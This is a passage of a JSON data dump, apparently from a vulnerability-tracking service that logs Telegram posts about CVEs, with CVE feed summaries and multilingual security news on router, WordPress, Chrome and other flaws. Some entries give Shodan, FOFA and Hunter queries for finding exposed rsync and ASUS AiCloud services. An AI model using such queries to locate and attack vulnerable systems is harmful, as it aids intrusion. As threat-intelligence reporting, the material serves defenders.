"6729c1a6-8f9c-4483-bc3a-a5d5151de6e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "Telegram/eU5TW0NrIabaH627FpFKhEBuxk5i4RkIq4T6rxIMq7cGCQ", "content": "", "creation_timestamp": "2025-03-05T22:29:05.000000Z"}, {"uuid": "53ccbc49-7cde-42a6-92c7-44b967ebfbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/BleepingComputer/21269", "content": "\u200aHackers exploit Four-Faith router flaw to open reverse shells\n\nThreat actors are exploiting a post-authentication remote command injection vulnerability in Four-Faith routers tracked as CVE-2024-12856 to open reverse shells back to the attackers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-four-faith-router-flaw-to-open-reverse-shells/", "creation_timestamp": "2024-12-30T21:07:11.000000Z"}, {"uuid": "dcc8d827-ff3d-465b-b3bd-fbbf49487fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://t.me/cvedetector/17850", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12315 - WordPress Export All Posts, Products, Orders, Refunds & Users Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12315 \nPublished : Feb. 12, 2025, 9:15 a.m. | 1\u00a0hour, 37\u00a0minutes ago \nDescription : The Export All Posts, Products, Orders, Refunds & Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.9.3 via the exports directory. This makes it possible for unauthenticated attackers to extract sensitive data stored insecurely in the /wp-content/uploads/smack_uci_uploads/exports/ directory which can contain information like exported user data. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:57.000000Z"}, {"uuid": "1b981114-aef8-47f1-a9e5-4a9fb0934d1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "Telegram/kU-2l9H1kspMcRgPs3LrTl2vGKQ7CJ4qL6iJZziYd1Gfl2Np", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "b8237e27-ea4a-498c-9c2d-a5c5f02d7763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "https://t.me/cvedetector/17894", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12629 - Telerik KendoReact Prototype Pollution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12629 \nPublished : Feb. 12, 2025, 4:15 p.m. | 46\u00a0minutes ago \nDescription : In Progress\u00ae Telerik\u00ae KendoReact versions v3.5.0 through v9.4.0, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection. \nSeverity: 4.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:31.000000Z"}, {"uuid": "6d11ddee-8f6d-43fd-912f-518cfc4fb48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://t.me/cvedetector/17969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12586 - Chalet-Montagne.com Tools WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12586 \nPublished : Feb. 13, 2025, 6:15 a.m. | 1\u00a0hour, 13\u00a0minutes ago \nDescription : The Chalet-Montagne.com Tools WordPress plugin through 2.7.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T08:47:53.000000Z"}, {"uuid": "a3007930-4d3d-4577-a606-a7c34b492e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/49", "content": "\u26a0\ufe0f Alert \u26a0\ufe0f \n\nCVE-2024-12084(CVSS 9.8) : Heap overflow that could lead to remote code execution\n\n\ud83d\udd17Hunter Link:hunter.how/list?searchVal\u2026\n\n\ud83d\udc47 Query\nHUNTER : product.name=\"rsync\"\nFOFA : product=\"rsync\"\nSHODAN : product:\"rsyncd\"\n\n\ud83d\udcf0 Refer:access.redhat.com/security/cve/C\u2026\n\nsecurityonline.info/cve-2024-12084\u2026\n\nsysdig.com/blog/detecting\u2026\n\n#RSYNC#hunterhow #infosec #infosecurity #OSINT #Vulnerability", "creation_timestamp": "2025-01-20T19:09:53.000000Z"}, {"uuid": "d5db6f66-a318-40b2-a2cd-9237c106d12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/cybersecplayground/13", "content": "CVE-2024-12912&CVE-2024-13062 \n:Injection and execution vulnerabilities in certain ASUS router firmware series.\n\ud83d\udcca 1.2m+ Services are found on hunter.how yearly.\n\ud83d\udd17Hunter Link: hunter.how/list?searchVal\u2026\n\ud83d\udc47Query\nHUNTER :/product.name=\"ASUS AiCloud\"\nFOFA : product=\"ASUS-AiCloud\"\nSHODAN : product:\"ASUS AiCloud\"\n\ud83d\udcf0Refer:securityonline.info/cve-2024-12912\u2026\nasus.com/content/asus-p\u2026\n#ASUS #hunterhow #infosec #infosecurity #OSINT #Vulnerability", "creation_timestamp": "2025-07-19T19:48:50.000000Z"}, {"uuid": "d84fa986-22a6-4585-857b-4f2298f1e595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12379", "type": "seen", "source": "https://t.me/cvedetector/17903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12379 - GitLab Denial of Service (DoS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12379 \nPublished : Feb. 12, 2025, 3:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : A denial of service vulnerability in GitLab CE/EE affecting all versions from 14.1 prior to 17.6.5, 17.7 prior to 17.7.4, and 17.8 prior to 17.8.2 allows an attacker to impact the availability of GitLab via unbounded symbol creation via the scopes parameter in a Personal Access Token. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:45.000000Z"}, {"uuid": "87a3ede6-4caf-4668-82a8-72fa691749ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/CyberBulletin/1930", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-03T06:34:25.000000Z"}, {"uuid": "262c15ef-1943-4202-9354-67cc280ea339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12251", "type": "seen", "source": "https://t.me/cvedetector/17902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12251 - Telerik UI for WinUI Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12251 \nPublished : Feb. 12, 2025, 3:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : In Progress\u00ae Telerik\u00ae UI for WinUI versions prior to 2025 Q1 (3.0.0), a command injection attack is possible through improper neutralization of hyperlink elements. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:44.000000Z"}, {"uuid": "a761eb07-64e6-4f65-b547-c5973f9d38be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://t.me/CyberBulletin/1891", "content": "\u26a1\ufe0fCVE-2024-12108 (CVSS 9.6) and Beyond: Progress Issues Critical Patch for WhatsUp Gold Network Monitoring Software.\n\n#CyberBulletin", "creation_timestamp": "2025-01-02T12:15:09.000000Z"}, {"uuid": "8f89245d-0dec-4013-a568-34eaa8a3e4b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/1865", "content": "\u26a1\ufe0fFour-Faith Industrial Routers Under Attack: CVE-2024-12856 Exploited in the Wild.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:08:06.000000Z"}, {"uuid": "cd121ee6-0aa5-48f5-ab66-cb9e5326d816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/1856", "content": "\u26a1\ufe0f15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856).\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T04:56:53.000000Z"}, {"uuid": "8fc3de5d-ef1c-46ab-8c5d-6ecade2da165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "Telegram/MmhdZ478J5V7BjYfuWVQSUbCwRuwBDWKSNeHo7EBPZtcEGW8", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "fa111912-fa2a-44a0-a6ff-2faa13d1a7a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://t.me/cvedetector/17859", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12386 - WordPress WP Abstracts CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12386 \nPublished : Feb. 12, 2025, 12:15 p.m. | 38\u00a0minutes ago \nDescription : The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.3. This is due to missing nonce validation on multiple functions. This makes it possible for unauthenticated attackers to delete arbitrary accounts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T14:22:20.000000Z"}, {"uuid": "ce0504ed-834f-49ba-9c05-72420915a186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/hackyourmom/10575", "content": "\ud83d\udd0d \u041a\u0440\u0438\u0442\u0438\u0447\u043d\u0430 \u0443\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0443 s2Member Pro \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437\u0443 \u043c\u0456\u043b\u044c\u0439\u043e\u043d\u0438 \u0441\u0430\u0439\u0442\u0456\u0432! \u0412\u0438\u044f\u0432\u043b\u0435\u043d\u043e CVE-2024-12562 (CVSS 9.8), \u0449\u043e \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u043f\u0440\u043e\u0432\u0430\u0434\u0436\u0443\u0432\u0430\u0442\u0438 \u0448\u043a\u0456\u0434\u043b\u0438\u0432\u0456 PHP-\u043e\u0431\u2019\u0454\u043a\u0442\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0456\u0457 \ud83d\udc7e #cybernews", "creation_timestamp": "2025-02-18T16:22:49.000000Z"}, {"uuid": "f1c48243-893f-4cfe-a155-a653eb6e617a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "https://t.me/information_security_channel/53868", "content": "CVE-2024-12029 \u2013 InvokeAI Deserialization of Untrusted Data vulnerability\nhttps://www.offsec.com/blog/cve-2024-12029/\n\nCVE-2024-12029: A critical deserialization vulnerability in InvokeAI's /api/v2/models/install endpoint allows remote code execution via malicious model files. Exploit risk for AI art servers.\nThe post CVE-2024-12029 \u2013 InvokeAI Deserialization of Untrusted Data vulnerability (https://www.offsec.com/blog/cve-2024-12029/) appeared first on OffSec (https://www.offsec.com/).", "creation_timestamp": "2025-07-17T18:03:20.000000Z"}, {"uuid": "a715d464-0b11-4610-8f97-76ba8e8d421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/HackerNewscyber/1859", "content": "\ud83d\udd34\u0647\u06a9\u0631 \u0646\u06cc\u0648\u0632: Citrix \u0631\u0641\u0639 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632 \u06a9\u0646\u0633\u0648\u0644 NetScaler \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\n\n\ud83d\udd3a\u0647\u06a9\u0631 \u0646\u06cc\u0648\u0632:Citrix CVE-2024-12284\u060c \u06cc\u06a9 \u0646\u0642\u0635 \u06a9\u0646\u0633\u0648\u0644 NetScaler (CVSS 8.8) \u0631\u0627 \u0631\u0641\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0641\u0648\u0631\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0627\u0633\u062a - \u0647\u06cc\u0686 \u0631\u0627\u0647\u200c\u062d\u0644\u06cc \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0646\u06cc\u0633\u062a.\n\n\ud83d\udea8@HackerNewsCyber", "creation_timestamp": "2025-02-20T07:07:09.000000Z"}, {"uuid": "052d2b01-e747-41a5-aded-f840f02b6459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/cvedetector/17849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12213 - \"WordPress WP Job Board Pro Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12213 \nPublished : Feb. 12, 2025, 10:15 a.m. | 37\u00a0minutes ago \nDescription : The WP Job Board Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.2.76. This is due to the plugin allowing a user to supply the 'role' field when registering. This makes it possible for unauthenticated attackers to register as an administrator on vulnerable sites. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:56.000000Z"}, {"uuid": "c426ef64-d7b1-4b0c-a08d-85afb20436ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/cvedetector/17847", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12296 - Apus Framework WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12296 \nPublished : Feb. 12, 2025, 10:15 a.m. | 37\u00a0minutes ago \nDescription : The Apus Framework plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'import_page_options' function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:51.000000Z"}, {"uuid": "b462793b-6752-468c-9f83-7c6ebb5b9564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/CyberBulletin/1819", "content": "\u26a1\ufe0fCVE-2024-12828 (CVSS 9.9): Webmin Vulnerability Leaves a Million Servers Exposed to RCE.\n\n#CyberBulletin", "creation_timestamp": "2024-12-24T09:07:54.000000Z"}, {"uuid": "4e6cea89-7755-40ae-bb44-3d5d0aaf2f09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "Telegram/yaRRF354Ygu4wAwdZLiZFlJ3d4I86LY0KmRJv0c9BGXTfSM", "content": "", "creation_timestamp": "2025-02-24T15:51:22.000000Z"}, {"uuid": "3bd5a895-ceb4-446b-bd35-ad9cca46a25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://t.me/cvedetector/17825", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12164 - WPForms Google Spreadsheet Addon Unauthenticated Setting Reset Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12164 \nPublished : Feb. 12, 2025, 5:15 a.m. | 1\u00a0hour, 26\u00a0minutes ago \nDescription : The WPSyncSheets Lite For WPForms \u2013 WPForms Google Spreadsheet Addon plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpsslwp_reset_settings() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T08:30:37.000000Z"}, {"uuid": "bd768d7e-5846-4859-99c9-552b01fc71fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "Telegram/3nQ215WuQOWdZQKeZBaIP8vpQqNbbUtTb-nrUf0AySs0VQ", "content": "", "creation_timestamp": "2025-07-08T12:25:16.000000Z"}, {"uuid": "b3f21f07-c451-41d6-8c5b-20e9291fff1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 